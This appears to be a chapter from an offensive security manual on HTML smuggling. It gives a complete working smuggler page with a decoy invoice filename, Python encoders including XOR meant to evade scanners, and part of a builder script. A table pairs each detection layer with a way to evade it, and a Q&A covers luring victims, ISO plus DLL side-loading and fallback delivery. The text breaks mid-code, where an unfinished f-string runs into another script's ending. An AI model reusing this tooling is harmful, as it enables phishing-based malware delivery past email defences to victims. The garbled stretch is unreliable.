Chapter 19

HTML Smuggling

Email gateways inspect attachments by content type and extension. They decompress ZIPs, scan office documents, and block executables. But they consistently ignore HTML files as a format — HTML is expected to contain text, images, and scripts, not binary payloads. HTML smuggling exploits the JavaScript Blob API to reconstruct a binary file entirely inside the browser, then trigger a download to the victim's disk. The gateway sees a harmless HTML document. The victim's browser assembles an ISO, an EXE, or a ZIP inside client memory and downloads it with no network request to a file server. This chapter explains exactly how the Blob API works, builds complete HTML smugglers for multiple payload types, and covers every detection layer that can catch it.

The JavaScript Blob API — How the Smuggling Works

The entire technique rests on three JavaScript APIs: Blob, URL.createObjectURL(), and the download attribute on anchor elements. Understanding each one makes the technique obvious:

HTML smuggling — data flow from gateway to disk
  EMAIL GATEWAY (scanning):
  ────────────────────────────────────────────────────────────────────────
  Receives: invoice.html
  Scans: HTML content type — text, link tags, script tags
  Sees: JavaScript that declares a base64 string and a Blob
  Verdict: "It's an HTML page" — no binary payload detected
  Passes through: attachment delivered to victim mailbox

  VICTIM'S BROWSER (when victim opens invoice.html):
  ────────────────────────────────────────────────────────────────────────
  Step 1: JavaScript executes
  Step 2: Base64 string (your payload) is decoded to a Uint8Array:
          const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
  Step 3: Blob object created from the byte array:
          const blob = new Blob([bytes], {type: "application/octet-stream"});
  Step 4: Object URL created for the blob:
          const url = URL.createObjectURL(blob);
          → url = "blob:null/550e8400-e29b-41d4-a716-446655440000"
  Step 5: Hidden anchor element programmatically clicked:
          const a = document.createElement('a');
          a.href = url;
          a.download = "Invoice_2024.iso";   ← filename for saved file
          a.click();
  Step 6: Browser saves the blob to the victim's Downloads folder
          → Invoice_2024.iso appears in %Downloads%
          → NO network request to any server
          → NO file on the internet to scan
          → The file assembled in browser memory

  KEY INSIGHT: The blob URL is local ("blob:null/...") — no DNS query,
  no outbound HTTP request for the payload. The entire payload was in
  the HTML file's JavaScript. Proxy logs show only the HTML download.
  Nothing shows the ISO delivery.

Minimal Working HTML Smuggler

Here is the smallest possible working HTML smuggler — stripped to its essential logic with no obfuscation. Study this structure before adding any evasion:

<!-- minimal_smuggler.html — bare-bones working example -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Your payload as a base64 string
// Generate with: python3 -c "import base64; print(base64.b64encode(open('payload.iso','rb').read()).decode())"
const b64 = "UEsDBBQAAAAIAA...";  // base64 of your payload

// Step 2: Decode base64 to binary bytes
const raw     = atob(b64);
const bytes   = new Uint8Array(raw.length);
for (let i = 0; i < raw.length; i++) {
    bytes[i] = raw.charCodeAt(i);
}

// Step 3: Create a Blob from the bytes
const blob = new Blob([bytes], { type: "application/octet-stream" });

// Step 4: Create a temporary object URL pointing to the blob
const url = URL.createObjectURL(blob);

// Step 5: Create a hidden anchor and trigger a click to download
const a        = document.createElement('a');
a.href         = url;
a.download     = "Invoice_2024_Review.iso";   // filename the victim sees
a.style.display = "none";
document.body.appendChild(a);
a.click();

// Step 6: Cleanup the object URL (frees browser memory)
setTimeout(() => URL.revokeObjectURL(url), 5000);
</script>

<!-- Decoy content shown while download starts -->
<h2>Loading document...</h2>
<p>Your invoice will download automatically. If it does not start, <a href="#">click here</a>.</p>
</body>
</html>

That's the complete technique — 15 lines of JavaScript. The rest of this chapter is about making it harder to detect and more reliable across environments.

Payload Encoding and Embedding

Method 1: Pure Base64 (Simplest)

# Generate base64 payload string for embedding
import base64

with open("payload.iso", "rb") as f:
    payload_bytes = f.read()

b64 = base64.b64encode(payload_bytes).decode()
print(f"Payload size:  {len(payload_bytes):,} bytes")
print(f"Base64 length: {len(b64):,} chars")
print(f"Overhead:      {len(b64)/len(payload_bytes):.2f}x")
# Base64 is ~1.37x larger than the original binary

# Split into chunks for readability (optional but avoids single 10MB string):
chunk_size = 76
chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)]
print("\nJS array form:")
print("const b64parts = [")
for chunk in chunks[:3]:
    print(f'  "{chunk}",')
print('  ...];')
print('const b64 = b64parts.join("");')

Method 2: Array of Integers (Avoids Base64 String Detection)

# Embed payload as JS integer array — no base64 string in the HTML
# Detectors looking for "atob(" or long base64 strings won't find them

with open("payload.iso", "rb") as f:
    payload_bytes = f.read()

# Output as a JS Uint8Array literal
ints = ",".join(str(b) for b in payload_bytes)
print(f"// Payload: {len(payload_bytes):,} bytes")
print(f"const bytes = new Uint8Array([{ints[:60]},...]);")

# In the HTML:
# 
#
# Downside: the file size grows 2-4x (each byte becomes "255," = 4 chars)

Method 3: XOR-Encrypted with Runtime Decryption

# XOR-encrypt the payload before embedding
# Runtime JS decrypts it — AV/gateway scanning the JS doesn't see the payload

import base64

def xor_encrypt(data: bytes, key: int) -> bytes:
    return bytes(b ^ key for b in data)

with open("payload.iso", "rb") as f:
    raw = f.read()

key = 0x5A   # single-byte XOR key (choose one that avoids common values)
encrypted = xor_encrypt(raw, key)
b64 = base64.b64encode(encrypted).decode()

print(f"""


"""

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("payload",  help="Path to payload file (ISO, EXE, ZIP, etc.)")
    p.add_argument("dlname",   help="Download filename shown to victim")
    p.add_argument("output",   help="Output HTML file path")
    p.add_argument("--key",    type=lambda x: int(x,0), default=0x5A)
    args = p.parse_args()

    html = build_html(args.payload, args.dlname, args.key)
    with open(args.output, "w") as f:
        f.write(html)

    import os
    print(f"Built: {args.output}")
    print(f"  Payload: {args.payload} ({os.path.getsize(args.payload):,} bytes)")
    print(f"  HTML:    {os.path.getsize(args.output):,} bytes")
    print(f"  Key:     0x{args.key:02X}")
    print(f"  DL name: {args.dlname}")

Detection Footprint

HTML smuggling detection events and evasion status
  Detection layer          │ What it looks for                  │ Evaded by
  ─────────────────────────┼────────────────────────────────────┼────────────────────────────────
  Email gateway (static)   │ Known content types / extensions   │ HTML is always passed through
  Email gateway (sandbox)  │ Executes JS, watches for Blob API  │ setTimeout / click-gate
  Proxy / web gateway      │ Outbound HTTP to payload host      │ No outbound request — local blob
  AV (file scan)           │ Scans invoice.html on disk         │ Payload encrypted; JS is benign
  Browser Download warning │ SmartScreen on .exe / .dll         │ ISO/ZIP don't trigger warning
  MOTW on downloaded file  │ Zone.Identifier ADS on the ISO     │ Blob downloads: ZoneId=4 (Local)
                           │                                    │ → effectively no MOTW on blob!
  Sysmon 11 (file created) │ ISO created in %Downloads%         │ Logged but not actionable alone
  EDR (heuristic)          │ HTML file triggers binary download │ EDR may alert on Blob+download
  ─────────────────────────┴────────────────────────────────────┴────────────────────────────────

  The MOTW bypass detail:
  ─────────────────────────────────────────────────────────────────────────────────────
  Files downloaded via HTTP/HTTPS get ZoneId=3 (Internet zone) in their
  Zone.Identifier ADS — this triggers SmartScreen checks on execution.

  Files assembled via Blob API and URL.createObjectURL() get ZoneId=4
  (Restricted sites) or ZoneId=0 (Local) depending on browser version.
  This means: files "downloaded" via HTML smuggling may NOT have the same
  MOTW as files downloaded from the internet — SmartScreen/MOTW checks
  may be absent or less restrictive.

  As of 2024: Edge/Chrome apply ZoneId=3 to blob downloads in some configurations.
  Firefox historically did not apply MOTW to blob downloads at all.
  This varies by browser version and OS configuration.

Questions & Answers

What's the maximum payload size that works reliably in HTML smuggling?

The practical limit is browser memory: the Blob object must fit in browser memory alongside the rest of the page. Modern browsers handle 100MB+ Blob objects without issues on systems with adequate RAM. The more practical constraint is the HTML file size itself — a 50MB ISO becomes ~68MB of base64 in the HTML file. Email gateways typically have attachment size limits of 10–25MB, and anything over 5MB in an HTML attachment is itself suspicious. The real-world sweet spot: keep the total HTML file under 5MB (roughly a 3.5MB binary payload after base64 expansion). For larger payloads, HTML smuggling delivers a small stager (LNK, HTA, or EXE) that downloads the full payload from a second stage.

Does HTML smuggling work if the victim opens the HTML from a mail client (not a browser)?

It depends on how the mail client renders HTML. Most modern mail clients (Outlook, Thunderbird, Apple Mail) use a built-in HTML renderer that does NOT execute arbitrary JavaScript — it renders HTML/CSS but strips or ignores script tags for security. So opening the HTML directly in the mail preview pane will not trigger the download. The smuggling works when: (1) the victim opens the attachment in a full browser (double-clicks the .html file, or the mail client opens it in the default browser); (2) the email links to a hosted HTML page (on a domain the attacker controls) rather than attaching the file — clicking a link opens the full browser. Campaigns typically add instructions: "To view your secure document, open the attached file in your browser."

Can you smuggle a PE executable (.exe) directly instead of an ISO?

Yes, the technique is file-format-agnostic — the Blob API doesn't care what bytes it contains. You can smuggle an .exe, a .dll, a .zip, an .iso, a .docm, or any other format. The reason campaigns prefer ISO over EXE is not the smuggling itself but what happens after the download: (1) SmartScreen reputation check on .exe files is very strict — a freshly smuggled, unsigned .exe will almost certainly show a warning; (2) ISOs don't trigger SmartScreen and contain signed EXEs inside them; (3) the ISO+DLL-sideload pattern lets a signed binary run the payload. You could smuggle an EXE, but you'd still need to deal with reputation warnings on execution. Smuggling an ISO and combining with DLL side-load avoids both the download warning and the execution warning.

How do modern email gateways try to detect HTML smuggling?

The most effective approach is JavaScript sandbox execution: the gateway extracts the HTML attachment, opens it in a headless browser environment, and monitors for Blob creation, URL.createObjectURL calls, and triggered downloads. Some gateways also do static pattern matching for atob(, Blob, createObjectURL, and download attribute usage in close proximity. The evasion techniques in this chapter — click gates (requiring user interaction that the sandbox doesn't simulate), setTimeout delays (exhausting sandbox timeouts), and string reconstruction (defeating static pattern matching) — are specifically designed to defeat these detection layers. Microsoft Defender for Office 365 added HTML smuggling detection in 2021 and iteratively improves it; the arms race is ongoing.

What if the victim is on a system where the browser blocks blob downloads?

Some enterprise configurations block or prompt for confirmation on file downloads from local HTML pages, or specifically restrict Blob URL downloads. As a fallback, you can implement a secondary delivery path: if the blob download doesn't trigger within a timeout, redirect the user to a hosted download URL (a CDN link or a SharePoint/OneDrive link that looks legitimate). The HTML page can detect whether the download was triggered via the download attribute's click event and fall back gracefully. Another option: instead of a download, write the payload to the clipboard as a base64 string and instruct the user to paste it somewhere — but this requires significant social engineering and is less reliable.